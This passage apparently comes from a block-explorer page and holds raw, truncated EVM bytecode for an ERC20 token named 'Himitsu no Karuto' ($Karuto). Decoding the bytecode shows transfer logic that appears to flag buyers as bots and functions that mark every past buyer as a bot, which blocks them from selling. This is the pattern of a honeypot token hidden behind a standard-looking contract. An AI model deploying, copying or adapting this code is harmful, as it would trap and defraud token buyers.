ffffffffffffffffffffffffffffff1614610f9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f96906123a2565b60405180910390fd5b60005b6007805490508110156110585760016006600060078481548110610fc957610fc8612248565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611050906122a6565b915050610fa2565b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f244b617275746f00000000000000000000000000000000000000000000000000815250905090565b60006111636110ce611358565b8484600460006110dc611358565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461115e91906122ee565b611360565b6001905092915050565b600061118161117a611358565b8484611529565b6001905092915050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611270611358565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f4906123a2565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c69061254e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361143e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611435906125e0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161151c919061204f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611598576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158f90612672565b60405180910390fd5b600081116115db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d290612704565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361164a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164190612796565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461169991906122ee565b925050819055506000819050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117495750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611a7b57600c543a1180156117ac5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b1561180a576001600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461196c576007839080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600954821115611907576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118fe90612828565b60405180910390fd5b600a548261191485610d42565b61191e9190612322565b111561195f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611956906128ba565b60405180910390fd5b6119698285611b9b565b90505b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614611a7a57600954821115611a06576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119fd90612828565b60405180910390fd5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611a5d57600080fd5b600c543a1115611a6d5750611b38565b611a778285611cd0565b90505b5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611aca9190612322565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b2e919061204f565b60405180910390a3505b505050565b6000808284611b4c9190612322565b905083811015611b91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b8890612926565b60405180910390fd5b8091505092915050565b6000806064600d6000015485611bb191906123c2565b611bbb9190612975565b905060006064600d6001015486611bd291906123c2565b611bdc9190612975565b90508082611bea9190612322565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611c389190612322565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8484611c9a9190612322565b604051611ca7919061204f565b60405180910390a3808286611cbc91906122ee565b611cc691906122ee565b9250505092915050565b6000806064600f6000015485611ce691906123c2565b611cf09190612975565b905060006064600f6001015486611d0791906123c2565b611d119190612975565b90508082611d1f9190612322565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611d6d9190612322565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8484611dcf9190612322565b604051611ddc919061204f565b60405180910390a3808286611df191906122ee565b611dfb91906122ee565b9250505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611e3f578082015181840152602081019050611e24565b60008484015250505050565b6000601f19601f8301169050919050565b6000611e6782611e05565b611e718185611e10565b9350611e81818560208601611e21565b611e8a81611e4b565b840191505092915050565b60006020820190508181036000830152611eaf8184611e5c565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611ee782611ebc565b9050919050565b611ef781611edc565b8114611f0257600080fd5b50565b600081359050611f1481611eee565b92915050565b6000819050919050565b611f2d81611f1a565b8114611f3857600080fd5b50565b600081359050611f4a81611f24565b92915050565b60008060408385031215611f6757611f66611eb7565b5b6000611f7585828601611f05565b9250506020611f8685828601611f3b565b9150509250929050565b60008115159050919050565b611fa581611f90565b82525050565b6000602082019050611fc06000830184611f9c565b92915050565b6000819050919050565b6000611feb611fe6611fe184611ebc565b611fc6565b611ebc565b9050919050565b6000611ffd82611fd0565b9050919050565b600061200f82611ff2565b9050919050565b61201f81612004565b82525050565b600060208201905061203a6000830184612016565b92915050565b61204981611f1a565b82525050565b60006020820190506120646000830184612040565b92915050565b60008060006060848603121561208357612082611eb7565b5b600061209186828701611f05565b93505060206120a286828701611f05565b92505060406120b386828701611f3b565b9150509250925092565b60006040820190506120d26000830185612040565b6120df6020830184612040565b9392505050565b600060ff82169050919050565b6120fc816120e6565b82525050565b600060208201905061211760008301846120f3565b92915050565b60006020828403121561213357612132611eb7565b5b600061214184828501611f05565b91505092915050565b61215381611edc565b82525050565b600060208201905061216e600083018461214a565b92915050565b60006020828403121561218a57612189611eb7565b5b600061219884828501611f3b565b91505092915050565b600080600080608085870312156121bb576121ba611eb7565b5b60006121c987828801611f3b565b94505060206121da87828801611f3b565b93505060406121eb87828801611f3b565b92505060606121fc87828801611f3b565b91505092959194509250565b6000806040838503121561221f5761221e611eb7565b5b600061222d85828601611f05565b925050602061223e85828601611f05565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006122b182611f1a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036122e3576122e2612277565b5b600182019050919050565b60006122f982611f1a565b915061230483611f1a565b925082820390508181111561231c5761231b612277565b5b92915050565b600061232d82611f1a565b915061233883611f1a565b92508282019050808211156123505761234f612277565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061238c602083611e10565b915061239782612356565b602082019050919050565b600060208201905081810360008301526123bb8161237f565b9050919050565b60006123cd82611f1a565b91506123d883611f1a565b92508282026123e681611f1a565b915082820484148315176123fd576123fc612277565b5b5092915050565b7f427579206665652063616e277420676f20686967686572207468616e20380000600082015250565b600061243a601e83611e10565b915061244582612404565b602082019050919050565b600060208201905081810360008301526124698161242d565b9050919050565b7f53656c6c206665652063616e277420676f20686967686572207468616e203800600082015250565b60006124a6601f83611e10565b91506124b182612470565b602082019050919050565b600060208201905081810360008301526124d581612499565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612538602483611e10565b9150612543826124dc565b604082019050919050565b600060208201905081810360008301526125678161252b565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006125ca602283611e10565b91506125d58261256e565b604082019050919050565b600060208201905081810360008301526125f9816125bd565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061265c602583611e10565b915061266782612600565b604082019050919050565b6000602082019050818103600083015261268b8161264f565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006126ee602983611e10565b91506126f982612692565b604082019050919050565b6000602082019050818103600083015261271d816126e1565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612780602383611e10565b915061278b82612724565b604082019050919050565b600060208201905081810360008301526127af81612773565b9050919050565b7f5472616e7366657220416d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e7400000000000000000000000000000000000000000000000000602082015250565b6000612812602783611e10565b915061281d826127b6565b604082019050919050565b6000602082019050818103600083015261284181612805565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785760008201527f616c6c6574416d6f756e742e0000000000000000000000000000000000000000602082015250565b60006128a4602c83611e10565b91506128af82612848565b604082019050919050565b600060208201905081810360008301526128d381612897565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612910601b83611e10565b915061291b826128da565b602082019050919050565b6000602082019050818103600083015261293f81612903565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061298082611f1a565b915061298b83611f1a565b92508261299b5761299a612946565b5b82820490509291505056fea264697066735822122060c2d1b1100afc1d8750a7299d569fb1eea88901ec5afc28730ff6e3a947904364736f6c63430008110033
Deployed Bytecode
0x6080604052600436106101bb5760003560e01c80636c0a24eb116100ec5780638da5cb5b1161008a578063a9059cbb11610064578063a9059cbb146105fb578063ad63043e14610638578063dd62ed3e14610675578063ea2f0b37146106b2576101c2565b80638da5cb5b1461056857806395d89b4114610593578063a457c2d7146105be576101c2565b8063715018a6116100c6578063715018a6146104e457806375f0a874146104fb5780637d1db4a5146105265780638768b9e814610551576101c2565b80636c0a24eb146104535780636fcba3771461047e57806370a08231146104a7576101c2565b8063313ce567116101595780634706240211610133578063470624021461039657806349bd5a5e146103c25780635209edf6146103ed5780635342acb414610416576101c2565b8063313ce567146103055780633950935114610330578063437823ec1461036d576101c2565b806318160ddd1161019557806318160ddd1461025a57806319d40b081461028557806323b872dd1461029c5780632b14ca56146102d9576101c2565b806306fdde03146101c7578063095ea7b3146101f25780631694505e1461022f576101c2565b366101c257005b600080fd5b3480156101d357600080fd5b506101dc6106db565b6040516101e99190611e95565b60405180910390f35b3480156101fe57600080fd5b5061021960048036038101906102149190611f50565b610718565b6040516102269190611fab565b60405180910390f35b34801561023b57600080fd5b50610244610736565b6040516102519190612025565b60405180910390f35b34801561026657600080fd5b5061026f61075c565b60405161027c919061204f565b60405180910390f35b34801561029157600080fd5b5061029a610766565b005b3480156102a857600080fd5b506102c360048036038101906102be919061206a565b610822565b6040516102d09190611fab565b60405180910390f35b3480156102e557600080fd5b506102ee6108da565b6040516102fc9291906120bd565b60405180910390f35b34801561031157600080fd5b5061031a6108ec565b6040516103279190612102565b60405180910390f35b34801561033c57600080fd5b5061035760048036038101906103529190611f50565b6108f5565b6040516103649190611fab565b60405180910390f35b34801561037957600080fd5b50610394600480360381019061038f919061211d565b6109a1565b005b3480156103a257600080fd5b506103ab610a91565b6040516103b99291906120bd565b60405180910390f35b3480156103ce57600080fd5b506103d7610aa3565b6040516103e49190612159565b60405180910390f35b3480156103f957600080fd5b50610414600480360381019061040f9190612174565b610ac9565b005b34801561042257600080fd5b5061043d6004803603810190610438919061211d565b610b77565b60405161044a9190611fab565b60405180910390f35b34801561045f57600080fd5b50610468610bcd565b604051610475919061204f565b60405180910390f35b34801561048a57600080fd5b506104a560048036038101906104a091906121a1565b610bd3565b005b3480156104b357600080fd5b506104ce60048036038101906104c9919061211d565b610d42565b6040516104db919061204f565b60405180910390f35b3480156104f057600080fd5b506104f9610d8b565b005b34801561050757600080fd5b50610510610ede565b60405161051d9190612159565b60405180910390f35b34801561053257600080fd5b5061053b610f04565b604051610548919061204f565b60405180910390f35b34801561055d57600080fd5b50610566610f0a565b005b34801561057457600080fd5b5061057d61105b565b60405161058a9190612159565b60405180910390f35b34801561059f57600080fd5b506105a8611084565b6040516105b59190611e95565b60405180910390f35b3480156105ca57600080fd5b506105e560048036038101906105e09190611f50565b6110c1565b6040516105f29190611fab565b60405180910390f35b34801561060757600080fd5b50610622600480360381019061061d9190611f50565b61116d565b60405161062f9190611fab565b60405180910390f35b34801561064457600080fd5b5061065f600480360381019061065a919061211d565b61118b565b60405161066c9190611fab565b60405180910390f35b34801561068157600080fd5b5061069c60048036038101906106979190612208565b6111e1565b6040516106a9919061204f565b60405180910390f35b3480156106be57600080fd5b506106d960048036038101906106d4919061211d565b611268565b005b60606040518060400160405280601181526020017f48696d69747375206e6f204b617275746f000000000000000000000000000000815250905090565b600061072c610725611358565b8484611360565b6001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600854905090565b60005b60078054905081101561081f57600160066000600784815481106107905761078f612248565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610817906122a6565b915050610769565b50565b600061082f848484611529565b6108cf8461083b611358565b84600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610885611358565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546108ca91906122ee565b611360565b600190509392505050565b600f8060000154908060010154905082565b60006009905090565b6000610997610902611358565b848460046000610910611358565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109929190612322565b611360565b6001905092915050565b6109a9611358565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2d906123a2565b60405180910390fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600d8060000154908060010154905082565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610ad1611358565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b55906123a2565b60405180910390fd5b633b9aca0081610b6e91906123c2565b600c8190555050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600a5481565b610bdb611358565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5f906123a2565b60405180910390fd5b6008610c7d8486611b3d90919063ffffffff16565b1115610cbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb590612450565b60405180910390fd5b83600d6000018190555082600d600101819055506008610ce78284611b3d90919063ffffffff16565b1115610d28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1f906124bc565b60405180910390fd5b81600f6000018190555080600f6001018190555050505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610d93611358565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e17906123a2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60095481565b610f12611358565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f96906123a2565b60405180910390fd5b60005b6007805490508110156110585760016006600060078481548110610fc957610fc8612248565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611050906122a6565b915050610fa2565b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f244b617275746f00000000000000000000000000000000000000000000000000815250905090565b60006111636110ce611358565b8484600460006110dc611358565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461115e91906122ee565b611360565b6001905092915050565b600061118161117a611358565b8484611529565b6001905092915050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611270611358565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f4906123a2565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c69061254e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361143e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611435906125e0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161151c919061204f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611598576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158f90612672565b60405180910390fd5b600081116115db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d290612704565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361164a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164190612796565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461169991906122ee565b925050819055506000819050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117495750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611a7b57600c543a1180156117ac5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b1561180a576001600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461196c576007839080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600954821115611907576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118fe90612828565b60405180910390fd5b600a548261191485610d42565b61191e9190612322565b111561195f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611956906128ba565b60405180910390fd5b6119698285611b9b565b90505b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614611a7a57600954821115611a06576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119fd90612828565b60405180910390fd5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611a5d57600080fd5b600c543a1115611a6d5750611b38565b611a778285611cd0565b90505b5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611aca9190612322565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b2e919061204f565b60405180910390a3505b505050565b6000808284611b4c9190612322565b905083811015611b91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b8890612926565b60405180910390fd5b8091505092915050565b6000806064600d6000015485611bb191906123c2565b611bbb9190612975565b905060006064600d6001015486611bd291906123c2565b611bdc9190612975565b90508082611bea9190612322565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611c389190612322565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8484611c9a9190612322565b604051611ca7919061204f565b60405180910390a3808286611cbc91906122ee565b611cc691906122ee565b9250505092915050565b6000806064600f6000015485611ce691906123c2565b611cf09190612975565b905060006064600f6001015486611d0791906123c2565b611d119190612975565b90508082611d1f9190612322565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611d6d9190612322565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8484611dcf9190612322565b604051611ddc919061204f565b60405180910390a3808286611df191906122ee565b611dfb91906122ee565b9250505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611e3f578082015181840152602081019050611e24565b60008484015250505050565b6000601f19601f8301169050919050565b6000611e6782611e05565b611e718185611e10565b9350611e81818560208601611e21565b611e8a81611e4b565b840191505092915050565b60006020820190508181036000830152611eaf8184611e5c565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611ee782611ebc565b9050919050565b611ef781611edc565b8114611f0257600080fd5b50565b600081359050611f1481611eee565b92915050565b6000819050919050565b611f2d81611f1a565b8114611f3857600080fd5b50565b600081359050611f4a81611f24565b92915050565b60008060408385031215611f6757611f66611eb7565b5b6000611f7585828601611f05565b9250506020611f8685828601611f3b565b9150509250929050565b60008115159050919050565b611fa581611f90565b82525050565b6000602082019050611fc06000830184611f9c565b92915050565b6000819050919050565b6000611feb611fe6611fe184611ebc565b611fc6565b611ebc565b9050919050565b6000611ffd82611fd0565b9050919050565b600061200f82611ff2565b9050919050565b61201f81612004565b82525050565b600060208201905061203a6000830184612016565b92915050565b61204981611f1a565b82525050565b60006020820190506120646000830184612040565b92915050565b60008060006060848603121561208357612082611eb7565b5b600061209186828701611f05565b93505060206120a286828701611f05565b92505060406120b386828701611f3b565b9150509250925092565b60006040820190506120d26000830185612040565b6120df6020830184612040565b9392505050565b600060ff82169050919050565b6120fc816120e6565b82525050565b600060208201905061211760008301846120f3565b92915050565b60006020828403121561213357612132611eb7565b5b600061214184828501611f05565b91505092915050565b61215381611edc565b82525050565b600060208201905061216e600083018461214a565b92915050565b60006020828403121561218a57612189611eb7565b5b600061219884828501611f3b565b91505092915050565b600080600080608085870312156121bb576121ba611eb7565b5b60006121c987828801611f3b565b94505060206121da87828801611f3b565b93505060406121eb87828801611f3b565b92505060606121fc87828801611f3b565b91505092959194509250565b6000806040838503121561221f5761221e611eb7565b5b600061222d85828601611f05565b925050602061223e85828601611f05565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006122b182611f1a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036122e3576122e2612277565b5b600182019050919050565b60006122f982611f1a565b915061230483611f1a565b925082820390508181111561231c5761231b612277565b5b92915050565b600061232d82611f1a565b915061233883611f1a565b92508282019050808211156123505761234f612277565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061238c602083611e10565b915061239782612356565b602082019050919050565b600060208201905081810360008301526123bb8161237f565b9050919050565b60006123cd82611f1a565b91506123d883611f1a565b92508282026123e681611f1a565b915082820484148315176123fd576123fc612277565b5b5092915050565b7f427579206665652063616e277420676f20686967686572207468616e20380000600082015250565b600061243a601e83611e10565b915061244582612404565b602082019050919050565b600060208201905081810360008301526124698161242d565b9050919050565b7f53656c6c206665652063616e277420676f20686967686572207468616e203800600082015250565b60006124a6601f83611e10565b91506124b182612470565b602082019050919050565b600060208201905081810360008301526124d581612499565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612538602483611e10565b9150612543826124dc565b604082019050919050565b600060208201905081810360008301526125678161252b565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006125ca602283611e10565b91506125d58261256e565b604082019050919050565b600060208201905081810360008301526125f9816125bd565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061265c602583611e10565b915061266782612600565b604082019050919050565b6000602082019050818103600083015261268b8161264f565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006126ee602983611e10565b91506126f982612692565b60408